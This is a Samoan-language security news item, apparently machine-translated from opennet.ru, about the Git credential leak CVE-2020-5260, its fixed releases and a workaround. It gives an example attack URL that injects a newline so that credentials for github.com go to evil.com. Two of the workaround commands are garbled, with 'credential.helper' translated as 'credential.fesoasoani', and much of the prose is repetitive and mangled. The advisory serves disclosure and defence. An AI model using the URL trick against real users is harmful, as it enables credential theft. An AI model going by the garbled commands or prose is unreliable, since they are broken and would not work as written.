Git fa'amaonia le leaka vaivai

Lolomiina faʻasaʻoga faʻasaʻo o le faʻasalalauga faʻapipiʻi faʻatonuga Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ma le 2.17.4, i totonu lea na aveesea vaivai (CVE-2020-5260) i totonu o le pule "credential.fesoasoani", lea e mafua ai ona lafoina faʻamaoniga i le tagata talimalo sese pe a faʻaogaina e le git client se fale teu oloa e faʻaaoga ai se URL faʻapipiʻi faʻapitoa o loʻo i ai se uiga fou. E mafai ona faʻaogaina le faʻafitauli e faʻatulaga ai faʻamaoniga mai se isi talimalo e auina atu i se 'auʻaunaga e pulea e le osofaʻiga.

Pe a faʻamaoti se URL e pei o le "https://evil.com?%0ahost=github.com/", o le tagata faʻamaonia faʻamaonia pe a faʻafesoʻotaʻi i le host evil.com o le a pasia le faʻamaoniga faʻamaonia ua faʻamaonia mo github.com. O le faʻafitauli e tupu pe a faʻatinoina gaioiga e pei o le "git clone", e aofia ai le faʻaogaina o URL mo submodules (mo se faʻataʻitaʻiga, "git submodule update" o le a otometi lava ona faʻagasolo URL ua faʻamaonia i le faila .gitmodules mai le fale teu oloa). O le faʻafitauli e sili ona mataʻutia i tulaga e faʻapipiʻi ai e se tagata faʻapipiʻi se fale teu oloa e aunoa ma le vaʻaia o le URL, mo se faʻataʻitaʻiga, pe a galue i submodules, poʻo i totonu o faiga e faʻatino ai gaioiga faʻapitoa, mo se faʻataʻitaʻiga, i totonu o faʻamaumauga faʻapipiʻi.

E poloka ai fa'aletonu i fa'aliliuga fou faasaina pasia se uiga fou i so'o se tau fa'asalalau e ala i le fa'asoa fa'amaonia fa'amaonia. Mo tufatufaga, e mafai ona e siaki le tatalaina o faʻafouga o afifi i luga o itulau Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, faitotoa faaofuofu, FreeBSD.

E fai ma fofo e poloka ai le faafitauli fautuaina Aua ne'i fa'aogaina credential.helper pe a o'o atu i faleteuoloa lautele ma aua le fa'aogaina le "git clone" i le "--recurse-submodules" fa'atasi ma fale e le'i siakiina. Ina ia tape atoa le credential.helper handler, lea e fai faasaoina ma toe aumai upu faataga mai pupuni, puipuia faleteuoloa po'o se faila ma upu fa'aulu, e mafai ona e fa'aogaina le fa'atonuga:

git config --unset credential.fesoasoani
git config --global --unset credential.helper
git config --system --unset credential.fesoasoani

puna: opennet.ru

Faaopoopo i ai se faamatalaga